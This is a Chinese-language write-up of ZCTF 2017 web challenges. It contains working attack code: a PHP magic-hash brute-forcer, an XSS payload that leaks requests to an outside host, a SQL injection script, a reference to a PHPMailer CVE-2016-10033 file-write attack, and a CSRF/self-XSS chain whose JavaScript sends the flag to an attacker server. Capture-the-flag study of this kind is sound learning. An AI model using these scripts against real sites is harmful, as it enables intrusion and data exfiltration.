ZCTF 2017 web writeup

发表于 2017 年 3 月 1 日

web100

.index.php.swp 有源码:

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
	if (strstr($flag, 'zctf')) {
		var_dump(substr(md5('15562'),8,16)); // 0e46379442318098
		if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
			die('ZCTF{#########}');
		}
	}
}
die('ha?')
?>

php 两个等号弱类型比较,跑出 ^0e\d+$ 就行:

from hashlib import md5
from random import randint
from re import findall
while 1:
        s = 'zctf' + str(randint(1e10, 1e12))
        if len(findall('^0e\d+$', md5(s).hexdigest()[8:8+16])):
                print s

find my eyes

查看源码可知整站用 HTTrack Website Copier/3.x 从某素材站复制而来,对比发现 contact.php 的表单目标 message.php 对输入内容进行了校验。观察到 index.php 有CSP 头,猜测在 message.php 提交内容进行信息刺探或 XSS 。
表单的 textarea 过滤了许多字符和关键词,最终使用如下 payload 监听到请求,flag 在 UA 头中。

<script>//@ sourceMappingURL=http://host</script>

easy apk

空格哥哥黑盒摸出了加密方式

def encode(s):
	s = s[::-1]
	key = [ord(i) for i in '1470'*1000]
	out = ''
	for i in xrange(len(s)):
		out += chr(ord(s[i]) ^ key[i])
	return out.encode('hex')

反编译分析可知在 index.php 登录成功后,发往 mail.php 的请求并没有带上登录成功的 Cookie , 而是带上了登录时的用户名与密码,可以推测必须先在登录处注入得到正确的密码。

注入用的脚本:

import requests
def encode(s):
	s = s[::-1]
	key = [ord(i) for i in '1470'*1000]
	out = ''
	for i in xrange(len(s)):
		out += chr(ord(s[i]) ^ key[i])
	return out.encode('hex')
try:
	for i in '0123456789abcdef':
		r = requests.post('http://58.213.63.30:10005/index.php',
			timeout=3,
			data={
			'username': encode("'union/*\x0d\x0a*/select * from user union/*\x0d\x0a*/select '123', '456', '5af1ab27b1be8bb8e39bdf98cd2cfce4%s' order by 3#"%(i)), 
			'password': ''
		})
		print  i, r.content
except:
	pass

得到密码 CleverBoy123,向 mail.php 打 phpmailer CVE-2016-10033 的 payload, 往 /var/www/html/upload 目录写入 php 文件即可。访问写入的文件获得 flag。

onlymyself

profile 处有 selfxss,不检查 csrfToken, 双写绕过简单过滤;

submit bug 提交的 url 会被管理员访问;

note 处只显示最新的6条note;

search 在全部的note中搜索,只返回找到的条数。

综上,利用链:管理员访问页面 a.html,其中包含两个iframe,第一个通过 csrf POST 在自己的 profile 中构造 selfxss,第二个访问 index.php 触发 selfxss。这样即可实现在目标域执行恶意 js 代码。

a.html:

<iframe src=b.html></iframe>
<iframe src=http://58.213.63.30:10003/index.php></iframe>

b.html:

<script src=http://58.213.63.30:10003/js/jquery-2.2.4.min.js></script>
<form method=POST action="http://58.213.63.30:10003/checkProfile.php">
	<input name="nick" value="<scripSCRIPTt src=//x.cal1.cn/c.js>/*">
	<input name="address" value="*/</scripSCRIPTt>">
</form>
<script>$('body > form').submit()</script>

云屿写的 c.js 负责在 search.php 中搜索 zctf{ 来逐位获得 flag 并发回:

run ('zctf');
function run(data){
	var i
	var str = '{}0123456789abcdefghijklmnopqrstuvwxyz_';
	for(i = 0; i < 39; ++i){
		temp = data + str[i];
		$.ajaxSetup({  
			async : false  
		});
        $.get('http://58.213.63.30:10003/search.php?keywords=' + temp, function(html){
			if(html.search('exists')){
				$.get('http://x.cal1.cn:62001/?data=' + temp);
				run(temp);
			}
		});
    }
	$.get('http://x.cal1.cn:62001/?over=' + data);
}